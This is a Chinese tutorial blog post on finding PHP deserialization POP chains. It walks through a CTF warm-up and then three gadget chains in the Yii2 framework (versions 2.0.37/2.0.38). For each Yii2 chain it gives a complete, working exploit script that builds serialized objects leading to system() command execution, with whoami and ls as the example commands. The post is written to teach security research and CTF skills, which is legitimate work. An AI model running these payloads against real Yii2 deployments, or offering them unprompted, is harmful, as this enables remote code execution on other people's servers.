Background

Yii2算第一个自己分析过的MVC框架链子,所以打算写个详细点的分析过程,方便刚接触反序列化的师傅们看一看

前置知识点

我假设师傅们都已经明白序列化/反序列化的意义,那我们先从一道简单的意义上可称为链的题目来说说
2020 MRCTF easypop
我直接po出代码

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

确认我们想要的目标 调用Modifier类里的append()函数 include包含进伪协议读取
flag.php,调用这个函数需要触发__invoke
php常见魔术方法的触发方式

construct():当一个类被创建时自动调用
destruct():当一个类被销毁时自动调用
invoke():当把一个类当作函数使用时自动调用
tostring():当把一个类当作字符串使用时自动调用
wakeup():当调用unserialize()函数时自动调用
sleep():当调用serialize()函数时自动调用
__call():当要调用的方法不存在或权限不足时自动调用
__get():当调用一个未定义的属性时访问此方法
  __set(): 给一个未定义的属性赋值时调用

想触发__invoke需要有函数方式调用,我们可以看到 Test类里的__get方法 return 函数,如果我们把$this->p设置成类就可以触发了,所以现在的问题转变到了如何触发__get方法,如果你仔细观察Show类的toString方法会发现return 的是$this->str->source $this->str设置成别的类,肯定是没有source属性的,可以触发,最后我们将目标来到了执行__toString方法了,在__wakeup魔术方法里面,有个preg_match 和$this->source进行比对,老方法,设置他为类就会被当成字符串进行匹配,而__wakeup方法在我们调用反序列化函数是自动触发的,所以到此为止我们的pop链条非常的完整清晰
__wakeup()->__toString()->__get()__invoke()->append()
payload我就不在这里给出,网上有很多的wp可以参考
所以你发现了,我们在寻找pop链的时候基本都是通过寻找魔术方法,魔术方法自动触发执行某些函数,导致我们可以利用
在很多的其他文章里,我们总能看见一个词 可控
那么到底什么能算做可控?
很多时候我们可能会通过$_GET $_POST $_COOKIE 这种全局变量和系统交互一些数据,这些变量我们可以手动传参来任意决定他的值,所以他肯定算可控的,通过魔术函数触发的函数,我们如果找到方法触发魔术函数,他也是可控的
还有就是所有类的成员 不管是public private 还是protected 我们都是可控的,因为我们想使用的时候 在__construct里面直接用$this引用就能赋值,但如果在原本的类里面__destruct ____wakeup里有改写,就不能调用了
(在这里我们不谈__wakeup()有能被绕过的可能 https://bugs.php.net/bug.php?id=72663 因为有版本的限制)
了解完这些之后,我们还要了解一些基本的危险函数
include require 这种有存在包含的可能
然后就是一堆代码执行的函数
call_user_func_array eval(不算函数,准确来说叫控制器) assert passthru....等等
我们挖反序列化洞更多都为了是rce,所以找到一些执行代码的函数即可
有了这些我们可以开始进行链子的挖掘了

常见入手点

搜索的入手点只要搜索 __destruct()即可,然后就是跟函数跟函数,比较常见的点是如果调用外类的函数,考虑触发__call方法走下去,看到字符串拼接考虑_toString方法走下去,时刻跟着$this走,如果跟着跟着函数没定义,或者函数里面返回静态的值了,那就开始考虑换个思路找,当然有的师傅也会直接从危险函数找,当然不管是挖链子,还是正常的代码审计,
1、发现危险函数
2、检查危险是否可控
3、demo测试
4、利用
这种思路也都是好用的

poc 1

版本 Yii2.0.37
配置的过程不详细说了,composer 或者github clone都可以,在controller控制器里面加一条反序列化位点的路由,照其他路由的形式编就行
3D91AEFE-49DC-4C56-851A-CA25D9A0AE05.png
搜索__destruct()
发现yii2dbBatchQueryResult.php下的__destruct()方法很简单,只是调用了一个本类函数reset()5E7FB814-107A-4AC5-B00B-7FC3ED823062.png
直接跟进,发现调用close()函数
我们再跟close()函数会发现close()函数是类外函数,所以想到可以触发__call,但是触发_call 得看看我们的
$this-> $_dataReader 可不可控,观察发现并没有进行强制赋值的情况,可控
搜索所有的__call()方法
发现Faker下的Generator函数调用了format函数,我们跟进看看
D8356B68-D0B1-473F-B4B9-95D495724AA4.png
CF6C2FE2-28A0-4040-82F2-8999763F6E4B.png
发现他调用了这个call_user_func_array危险函数,那我们看看参数可不可控
$formatter, $arguments 都不是本类的变量,显然并不可控
但是在 $this->getFormatter($formatter)的控制下,我们发现,可以控制$this->formatters[$formatter]
但还是没法控制$arguments,这个数组默认为空,这意味着我们只能调用一个无参的函数,但其实这已经意味着我们现在已经完全可控一个函数了
整个架子里面用了很多call_user_func
我们利用正则搜索 function w+() ?n?{(.*n)+call_user_func 看看能不能找到其他的可用的点
6208131D-275A-4A98-826E-AD9C1E32E3BE.png
yiirest下的Creataction类
可以看到里面的run函数直接调用call_user_fun 并且checkAccess和id都是本类的可控
那我们已经找了一条完整的触发的链子
整理一下
yiidbBatchQueryResult::__destruct() -> FakerGenerator::__call() -> yiirestIndexAction::run()
那我们就开始链子的编写
首先我们要知道,来自于不同的类之间必须得用命名空间namespace,最后echo 序列化数据时候要放在namespace根下面
而这些你很容易的可以在类的最前面找到
94B1D5D8-D70A-402C-9549-DC88AEF6C62A.png
在链子中一个类中要实例化另个类时
需要use命名空间+类名
还有要注意的就是使用的成员变量必须在类里面都要写上
思路回到刚才的链子中,我们最后一步要调用run()函数的call_user_fun checkAccess id可控,我们在__construct里面声明

namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
    }
}

然后FakerGenerator的_call方法,在这里我们调用format函数 $this->getFormatter($formatter)是可控的
E1A41EFA-C9A2-4415-BCC9-E463C93D01AF.png
$formatter是传进来的方法close

call_user_func_array 采用数组的方法调用 我们在里面放入实例化的Createaction类和run方法
namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}

最后就是刚开始的$this->_dataReader可控传类

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}

最终payload

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}

poc 2

在后来Yii2.0.38里面
他们用了一个_wakeup来 防止序列化BatchQueryResult
这条链子行不通了
那我们可以继续找
14BFB2EB-C1BB-4572-BE29-8554692FC1AC.png
Runprocess类里面 stopProcess()函数 调用非本类的isRUnning函数 好嘛 继续后面的_call就好了,不再多说直接payload

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['isRunning'] = [new CreateAction(), 'run'];
        }
    }
}

namespace Codeception\Extension{
    use Faker\Generator;
    class RunProcess{
        private  $processes;

        public function __construct()
        {
            $this->processes = [new Generator()];
        }
    }
}
namespace{

    echo(base64_encode(serialize((new Codeception\Extension\RunProcess()))));
}

poc 3

第三个pop链值得说一下
Diskeycache类
__destruct()->clearall->clearkey

 unlink($this->path.'/'.$nsKey.'/'.$itemKey);

这里$this->path $itemKey都可控 字符串拼接
找__toString魔术方法
4EADF78E-75E9-48A1-BAD7-E68AD4AD61D5.png
see里面有一个 render()非本类函数,又回到了__call了
这题有意思的是Diskeycache里面的$this->keys
EF2A93B1-3049-497C-8F50-8881DF85F5D5.png
跟着走可以看到要写个二维数组
最终payload

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'ls';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{

    use Faker\Generator;

    class See{
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
    }
}
namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache{
        private $keys = [];
        private $path;
        public function __construct()
        {
            $this->path = new See;
            $this->keys = array(
                "zxcz"=>array("zz"=>"he")
            );
        }
    }
    // 生成poc
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

后记

师傅们告诉我pop链子的挖掘是代码审计的基本功,所以还是要勤加练习,网上关于Yii2的链子分析的都不太新手向,我就试着写全,总结下知识点,希望能让你有所收获